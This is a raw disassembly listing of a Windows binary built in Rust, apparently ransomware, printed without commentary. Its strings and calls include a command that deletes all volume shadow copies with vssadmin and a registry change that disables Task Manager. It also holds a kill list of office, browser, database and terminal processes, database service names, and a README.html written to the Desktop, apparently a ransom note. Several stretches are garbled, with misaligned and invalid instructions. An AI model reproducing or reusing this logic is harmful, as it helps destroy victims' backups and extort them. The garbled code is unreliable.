lea rcx, [rsp + 0xd0]
call fcn.140007fe0
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x14002c30c
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14002cd75
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14002cd75
mov rsi, rax
mov qword [rax], rdi
lea rdi, [0x1400a9950]
mov rax, rsi
mov rdx, rdi
movaps xmm6, xmmword [rsp + 0x500]
movaps xmm7, xmmword [rsp + 0x510]
movaps xmm8, xmmword [rsp + 0x520]
add rsp, 0x538
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r15, rax
mov qword [rsp + 0xf0], rsi
mov word [rsp + 0x100], bx
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0xe8], rbp
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rdi, r15
test r12, r12
jne 0x14002c2c1
jmp 0x14002c2d3
mov edx, 0x10
jmp 0x14002b566
test r8, r8
je 0x14002bed0
lea rax, [rsi + r8]
mov rdx, rsi
jmp 0x14002c3dc
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax]
mov rdx, rcx
cmp rcx, rax
je 0x14002bed0
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14002c3d0
cmp r9b, 0xe0
jb 0x14002c3c1
cmp r9b, 0xed
jne 0x14002c41e
cmp rcx, rax
je 0x14002bed0
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14002bed0
cmp byte [rdx + 1], 0x9f
ja 0x14002cdf2
add rdx, 3
mov rcx, rdx
jmp 0x14002c3d0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14002c3d0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14002c3d0
lea rcx, [rsp + 0xd0]
mov rdx, rbx
mov r8, rsi
call fcn.14003f1f0
cmp qword [rsp + 0xd0], 0
jne 0x14002cee8
mov rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0xe0]
call fcn.14009fdd0
test rax, rax
je 0x14002c4af
mov rsi, rax
cmp qword [rsp + 0x88], 0
je 0x14002c4a3
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdi, [0x1400e6168]
jmp 0x14002c330
cmp qword [rsp + 0x88], 0
je 0x14002c4d1
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x1400cd2c8]
mov qword [rsp + 0x80], rax
lea rax, [0x14003e180]
mov qword [rsp + 0x88], rax
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xd0]
call fcn.14003c3d0
mov rsi, qword [rsp + 0x30]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0x30]
mov r8d, 0xb
call fcn.14007c5d0
cmp byte [rsp + 0x48], 3
jne 0x14002ce7c
mov rdi, qword [rsp + 0x30]
mov r12, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
mov qword [rsp + 0x20], 7
lea r9, [0x1400aa84c]
lea rcx, [rsp + 0xd0]
mov rdx, rdi
call fcn.140081510
mov r14, qword [rsp + 0xd0]
mov r15, qword [rsp + 0xe0]
lea rdx, str.readme_README.html
lea rcx, [rsp + 0x30]
mov r8d, 0x12
call fcn.14000bdf0
mov rbx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x80]
mov rdx, r14
mov r8, r15
mov r9, rbx
call fcn.140081510
cmp qword [rsp + 0x38], 0
je 0x14002c602
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xd8], 0
je 0x14002c624
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x78], rsi
test r12, r12
je 0x14002c640
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, rbp
mov rdx, qword [rsp + 0x80]
mov r8, qword [rsp + 0x90]
lea rcx, [rsp + 0xd0]
call fcn.14003f1f0
cmp qword [rsp + 0xd0], 0
jne 0x14002cea2
mov rbp, r13
mov rbx, qword [rsp + 0xd8]
mov rdi, qword [rsp + 0xe0]
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0x30]
mov r8d, 0xb
call fcn.14007c5d0
cmp byte [rsp + 0x48], 3
jne 0x14002ceb2
mov r14, qword [rsp + 0x30]
mov r13, qword [rsp + 0x38]
mov r12, qword [rsp + 0x40]
lea rdx, str.Desktop
lea rcx, [rsp + 0x30]
mov r8d, 7
call fcn.14000bdf0
mov r15, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xd0]
mov rdx, r14
mov r8, r12
mov r9, r15
call fcn.140081510
cmp qword [rsp + 0x38], 0
je 0x14002c709
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
je 0x14002c720
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0xd0]
mov r8, qword [rsp + 0xe0]
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0x30]
mov rsi, qword [rsp + 0x78]
mov r9, rsi
call fcn.140081510
test rbp, rbp
je 0x14002c75e
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x250]
call fcn.14003f1f0
cmp qword [rsp + 0x250], 0
jne 0x14002ced8
mov r14, qword [rsp + 0x258]
mov rsi, qword [rsp + 0x260]
mov rcx, rbx
mov rdx, rdi
call case.0x14007e71e.147
test al, al
je 0x14002c7aa
mov byte [rsp + 0x20], 0
jmp 0x14002c7be
mov rcx, rbx
mov rdx, rdi
call fcn.14007f7f0
test al, al
je 0x14002c828
mov byte [rsp + 0x20], 1
mov rcx, rbx
mov rdx, rdi
mov r8, r14
mov r9, rsi
call fcn.140092570
test rax, rax
je 0x14002c828
mov rsi, rax
and eax, 3
cmp eax, 1
jne 0x14002c828
mov rax, rsi
dec rsi
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14002c816
cmp qword [rbx + 0x10], 0x11
jb 0x14002c804
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x38], 0
je 0x14002c844
mov r8, qword [rsp + 0x30]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xd8], 0
je 0x14002c866
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x88], 0
je 0x14002c888
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xd0]
call fcn.140025f20
movzx eax, byte [rsp + 0xeb]
mov rsi, qword [rsp + 0xd0]
cmp al, 2
jne 0x14002c8b6
mov rdi, qword [rsp + 0xd8]
jmp 0x14002c330
mov r12, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe0]
mov qword [rsp + 0x260], rcx
mov ecx, dword [rsp + 0xec]
mov qword [rsp + 0x250], rsi
mov qword [rsp + 0x258], r12
mov byte [rsp + 0x26b], al
mov dword [rsp + 0x26c], ecx
mov word [rsp + 0x268], pe_nt_image_headers64
mov byte [rsp + 0x26a], 0
lea rcx, [rsp + 0x250]
call fcn.140028830
test rax, rax
je 0x14002c93c
mov rbx, rax
mov rdi, rdx
test r12, r12
je 0x14002c934
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, rbx
jmp 0x14002c330
xor ecx, ecx
call fcn.140029ec0
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0x30]
mov r8d, 0xb
call fcn.14007c5d0
cmp byte [rsp + 0x48], 3
jne 0x14002cf02
mov rdi, qword [rsp + 0x30]
mov r13, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
mov qword [rsp + 0x20], 7
lea r9, [0x1400aa84c]
lea rcx, [rsp + 0xd0]
mov rdx, rdi
call fcn.140081510
mov rbx, qword [rsp + 0xd0]
mov r14, qword [rsp + 0xe0]
lea rdx, str.readme_README.html
lea r15, [rsp + 0x30]
mov r8d, 0x12
mov rcx, r15
call fcn.14000bdf0
lea rcx, [rsp + 0x80]
mov rdx, rbx
mov r8, r14
mov r9, r15
call fcn.140007cb0
cmp qword [rsp + 0xd8], 0
je 0x14002c9f1
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
je 0x14002ca08
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x80]
mov r8, qword [rsp + 0x90]
lea rcx, [rsp + 0xd0]
mov rdx, r14
call fcn.14003f1f0
cmp qword [rsp + 0xd0], 0
jne 0x14002cf28
mov rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0xe0]
call fcn.1400293c0
test rax, rax
je 0x14002ca7d
mov rbx, rax
mov rdi, rdx
cmp qword [rsp + 0x88], 0
je 0x14002c91d
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14002c91d
cmp qword [rsp + 0x88], 0
je 0x14002ca9a
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
test r12, r12
je 0x14002cab1
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xor esi, esi
jmp 0x14002c330
fadd dword [rax]
add byte [rax], al
mov qword [rsp + 0xe0], r8
mov byte [rsp + 0xe8], al
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x33]
mov dword [rsp + 0xe9], eax
mov dword [rsp + 0xec], ecx
lea rax, str.srcmain.rs
jmp 0x14002cd4e
add byte [rax], al
add byte [rbx - 0x74cfdbbc], cl
and al, 0x33
mov dword [rsp + 0xe9], eax
mov dword [rsp + 0xec], ecx
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
and byte [rax - 0x73], cl
or eax, 0xb6726
lea r9, fcn.140008890
lea r8, [rsp + 0xd0]
mov edx, 0x2b
call fcn.1400a48c0
ud2
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 8
call fcn.1400a42a0
ud2
mov al, 2
jmp 0x14002cda7
lea rcx, [rsp + 0xe9]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x83], ecx
mov dword [rsp + 0x80], eax
xor eax, eax
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], r15
mov qword [rsp + 0xe0], r8
mov byte [rsp + 0xe8], al
mov eax, dword [rsp + 0x80]
mov ecx, dword [rsp + 0x83]
mov dword [rsp + 0xe9], eax
mov dword [rsp + 0xec], ecx
lea rax, str.srcmain.rs
jmp 0x14002cd4e
mov al, 2
jmp 0x14002ce0f
lea rcx, [rsp + 0xe9]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x83], ecx
mov dword [rsp + 0x80], eax
xor eax, eax
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], r15
mov qword [rsp + 0xe0], r8
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xe8], al
mov eax, dword [rsp + 0x80]
mov ecx, dword [rsp + 0x83]
mov dword [rsp + 0xe9], eax
add byte [rax], al
mov dword [rsp + 0xec], ecx
lea rax, str.srcmain.rs
jmp 0x14002cd4e
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
lea rax, [0x1400b3d08]
jmp 0x14002cd4e
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
and al, 0xd0
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xa043b
and al, 0xd0
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xa043b
jmp 0x14002cd4e
dec dword [rax - 0x73]
or eax, 0xb9317
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.srcmain.rs
jmp 0x14002cef6
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
lea rax, str.srcmain.rs
jmp 0x14002cd4e
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.srcmain.rs
add al, 0xa
add bl, ch
invalid
add al, 0xa
add bl, ch
invalid
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400b3d38]
mov edx, 0x2b
call fcn.1400a4530
ud2
invalid
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
xor byte [rdi], cl
adc byte [rsp + 0x40], cl
and al, 0x40
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
lea rax, str.srcmain.rs
jmp 0x14002cd4e
add cl, ch
invalid
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
or eax, 0xb9291
lea r8, str.srcmain.rs
jmp 0x14002cef6
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x358
in al, dx
pop rax
add eax, dword [rax]
add byte [rdi + rcx + 0x29], al
mov word [rax + rax*2], fs
add eax, dword [rax]
add byte [rdi + rcx + 0x29], al
sub dword [rsp + 0x330], eax
in al, dx
pop rax
add eax, dword [rax]
add byte [rdi + rcx + 0x29], al
mov word [rax + rax*2], fs
add eax, dword [rax]
add byte [rdi + rcx + 0x29], al
sub dword [rsp + 0x330], eax
movaps xmmword [rsp + 0x320], xmm7
sub dword [rsp + 0x330], eax
movaps xmmword [rsp + 0x320], xmm7
movaps xmmword [rsp + 0x310], xmm6
mov r14, rdx
mov rdi, rcx
movzx eax, byte [rdx + 0x69]
test eax, eax
je 0x14002cfaf
invalid
add eax, dword [rax]
add byte [rcx - 0x77], cl
invalid
sub al, 0x83
clc
add ecx, dword [rdi]
test dword [rbx + 0x4d000049], esp
cmp eax, 3
jne case.default.0x14002cfa3
lea r15, [r14 + 0x40]
lea edi, [rsi + 0x40]
movzx eax, byte [r14 + 0x40]
lea rcx, [0x1400e6b78]
lea ecx, [0x1400e6b78]
lea ecx, [0x1400e6b78]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov byte [r14 + 0x41], 0
mov byte [rsi + 0x41], 0
jmp 0x14002d0b5
mov byte [r14 + 0x68], 0
lea rcx, [rsp + 0x70]
call fcn.140025f20
movzx ecx, byte [rsp + 0x8b]
mov r13, qword [rsp + 0x70]
cmp cl, 2
jne 0x14002cfda
mov r15, qword [rsp + 0x78]
jmp 0x1400318c2
mov rax, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov r8d, dword [rsp + 0x87]
mov dword [rsp + 0x157], r8d
mov qword [rsp + 0x150], rdx
mov edx, dword [rsp + 0x8c]
and al, 0x87
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], al
and al, 0x57
add dword [rax], eax
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x50
add dword [rax], eax
add byte [rbx + 0x8c2494], cl
add byte [rax], al
mov qword [r14], r13
mov qword [r14 + 8], rax
mov r8, qword [rsp + 0x150]
mov eax, dword [rsp + 0x150]
mov qword [r14 + 0x10], r8
mov r8d, dword [rsp + 0x157]
mov dword [r14 + 0x17], r8d
mov byte [r14 + 0x1b], cl
mov dword [r14 + 0x1c], edx
cmp byte [r14 + 0x19], 0
jne 0x14002d03f
cmp byte [r14 + 0x18], 0
je 0x14002f78b
test rax, rax
je 0x1400318bf
mov r8, qword [r14]
mov rcx, qword [0x1400f0220]
xor r13d, r13d
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400318c2
invalid
mov qword [rsp + 0x140], rdi
cmp byte [r14 + 0x60], 0
add byte [rdi], cl
invalid
invalid
add byte [rax], r8b
add byte [rdi], cl
test dword [0x18902d0c2], ebx
mov esi, dword [rsi + 0x48]
mov rsi, qword [r14 + 0x48]
mov rbx, qword [r14 + 0x50]
mov rdi, qword [r14 + 0x58]
jmp 0x14002d7d9
mov qword [rsp + 0x140], rdi
cmp byte [r14 + 0x60], 0
add byte [rdi], cl
test dword [rsp + rcx*2], ecx
add byte [rax], al
add byte [rdi], cl
test dword [rsp + rcx*2], ecx
add byte [rax], al
mov rsi, qword [r14 + 0x48]
mov rbx, qword [r14 + 0x50]
mov rdi, qword [r14 + 0x58]
jmp 0x14002d6af
cmp byte [r14 + 0x41], 0
jne 0x140031cb8
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x14002d0e1
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14003191e
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 0x20
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14003191e
movups xmm0, xmmword [0x1400b3d60]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [str.C:WindowsSystem32_vssadmin.exeShadows_All_QuietDelete]
movdqu xmmword [rax], xmm0
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 0x20
mov qword [rsp + 0xb0], 0x20
mov byte [rsp + 0xb8], 0
mov qword [rsp + 0x100], 8
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xd0], 0
mov word [rsp + 0xd8], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x108], xmm0
mov byte [rsp + 0xf8], 2
mov dword [rsp + 0x130], 0
mov word [rsp + 0x134], 0
mov dword [rsp + 0x70], 6
mov dword [rsp + 0x80], 6
mov dword [rsp + 0x90], 6
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x128], 0
lea rdx, [0x1400b3d81]
lea rsi, [rsp + 0x70]
mov r8d, 6
mov rcx, rsi
call fcn.140092700
lea rdx, [0x1400b3d70]
mov r8d, 7
mov rcx, rsi
call fcn.140092700
lea rdx, [0x1400b3d77]
mov r8d, 4
mov rcx, rsi
call fcn.140092700
lea rdx, [0x1400b3d7b]
mov r8d, 6
mov rcx, rsi
call fcn.140092700
mov eax, dword [rsp + 0x80]
cmp eax, 4
jb 0x14002d23d
cmp eax, 6
je 0x14002d23d
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov dword [rsp + 0x80], 2
mov eax, dword [rsp + 0x90]
cmp eax, 4
jb 0x14002d267
cmp eax, 6
je 0x14002d267
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov dword [rsp + 0x90], 2
mov dword [rsp + 0x130], 0x8000000
mov dword [rsp + 0x260], 0
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x260]
mov r9b, 1
call fcn.140082040
mov rsi, qword [rsp + 0x150]
mov rbp, qword [rsp + 0x160]
cmp rbp, 2
jne 0x14002d318
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x14002d2e7
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140033409
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140033409
mov r13, rax
mov qword [rax], rsi
lea rcx, [rsp + 0x70]
call fcn.140008930
mov byte [r14 + 0x41], 1
jmp 0x14002d610
mov qword [rsp + 0x1e0], r15
mov qword [rsp + 0x140], rdi
mov rbx, r14
mov r15, qword [rsp + 0x158]
mov r14, qword [rsp + 0x168]
mov r13, qword [rsp + 0x170]
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x1e8], rax
mov r12, qword [rsp + 0x180]
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x48], rax
mov rdi, qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, rsi
call rdi
mov rcx, r15
call rdi
test rbp, rbp
je 0x14002d387
mov rcx, r14
call qword [sym.imp.kernel32.dll_CloseHandle]
test r13, r13
je 0x14002d39a
mov rcx, qword [rsp + 0x1e8]
call qword [sym.imp.kernel32.dll_CloseHandle]
test r12, r12
mov r14, rbx
mov rdi, qword [rsp + 0x140]
mov r15, qword [rsp + 0x1e0]
je 0x14002d3bd
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rcx, [rsp + 0x70]
call fcn.140008930
mov byte [r14 + 0x41], 1
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x14002d3f8
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140031c53
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 3
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140031c53
mov byte [rax + 2], 0x67
mov word [rax], 0x6572
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 3
mov qword [rsp + 0xb0], 3
mov byte [rsp + 0xb8], 0
mov qword [rsp + 0x100], 8
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xd0], 0
mov word [rsp + 0xd8], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x108], xmm0
mov byte [rsp + 0xf8], 2
mov dword [rsp + 0x130], 0
mov word [rsp + 0x134], 0
mov dword [rsp + 0x70], 6
mov dword [rsp + 0x80], 6
mov dword [rsp + 0x90], 6
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x128], 0
lea rdx, [0x1400b3eb0]
lea rsi, [rsp + 0x70]
mov r8d, 3
mov rcx, rsi
call fcn.140092700
lea rdx, str.HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemREG_DWORDtaskmgr.execode.exeexcel.exepowerpnt.exewinword.exemsaccess.exemspub.exechrome.execs2.exesteam.exeonedrive.exepostgres.exemysqlworkbench.exeoutlook.exewindowsterminal.exesublime_text.exe
mov r8d, 0x4b
mov rcx, rsi
call fcn.140092700
lea rdx, str._f_v_t_daddSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr
mov r8d, 2
mov rcx, rsi
call fcn.140092700
lea rdx, [0x1400b3eaa]
mov r8d, 2
mov rcx, rsi
call fcn.140092700
lea rdx, [0x1400b3eec]
mov r8d, 0xe
mov rcx, rsi
call fcn.140092700
lea rdx, [0x1400b3eac]
mov r8d, 2
mov rcx, rsi
call fcn.140092700
lea rdx, [0x1400b3fdb]
mov r8d, 9
mov rcx, rsi
call fcn.140092700
lea rdx, [0x1400b3eae]
mov r8d, 2
mov rcx, rsi
call fcn.140092700
lea rdx, [0x1400db342]
mov r8d, 1
mov rcx, rsi
call fcn.140092700
mov dword [rsp + 0x130], 0x8000000
lea rcx, [rsp + 0x150]
mov rdx, rsi
call fcn.14008df50
cmp dword [rsp + 0x150], 0
je 0x14002d620
mov rsi, qword [rsp + 0x158]
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x14002d5e9
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140033409
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140033409
mov r13, rax
mov qword [rax], rsi
lea rcx, [rsp + 0x70]
call fcn.140008930
mov byte [r15], 1
lea r15, [0x1400a9950]
jmp 0x140031838
lea rcx, [rsp + 0x70]
call fcn.140008930
mov cl, 1
call fcn.140029ec0
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x14002d65d
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14003226c
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 0x110
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14003226c
mov rsi, rax
lea rdx, [0x1400b40a0]
mov r8d, 0x110
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [r14 + 0x48], rsi
mov qword [r14 + 0x50], 0x11
mov qword [r14 + 0x58], 0x11
mov byte [r14 + 0x60], 0
mov edi, 0x11
mov ebx, 0x11
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x98]
test rax, rax
je 0x14002d6d6
add rax, 0x110
jmp 0x14002d6db
call fcn.140063940
mov rax, qword [rax]
mov r8, qword [rax + 0x210]
xor eax, eax
cmp rdi, 0xffffffffffffffff
sete al
cmp rax, r8
cmova r8, rax
lea rax, [rsp + 0x260]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rsi
mov r9d, 1
mov rcx, rdi
xor edx, edx
call fcn.14000e6c0
test rbx, rbx
je 0x14002d733
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [r14 + 0x60], 1
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x14002d764
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140031a73
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 0x50
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140031a73
mov rsi, rax
movups xmm0, xmmword [0x1400b4228]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [0x1400b4218]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [0x1400b4208]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x1400b41f8]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [str.MySQL57MySQL80MySQL82postgresql_x64_14postgresql_x64_15]
movdqu xmmword [rax], xmm0
mov qword [r14 + 0x48], rax
mov qword [r14 + 0x50], 5
mov qword [r14 + 0x58], 5
mov byte [r14 + 0x60], 0
mov edi, 5
mov ebx, 5
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x98]
test rax, rax
je 0x14002d800
add rax, 0x110
jmp 0x14002d805
call fcn.140063940
mov rax, qword [rax]
mov r8, qword [rax + 0x210]
xor eax, eax
cmp rdi, 0xffffffffffffffff
sete al
cmp rax, r8
cmova r8, rax
lea rax, [rsp + 0x260]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rsi
mov r9d, 1
mov rcx, rdi
xor edx, edx
call fcn.14000def0
test rbx, rbx
je 0x14002d85d
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x1f0], r14
mov byte [r14 + 0x60], 1
lea rdx, [0x1400aa973]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.14007ad00
movzx eax, byte [rsp + 0x88]
cmp al, 2
je 0x140031a39
mov rsi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
lea rbp, [rsp + 0x89]
test al, al
je 0x14002d9d1
mov qword [rsp + 0x1e0], r15
mov qword [rsp + 0x20], 7
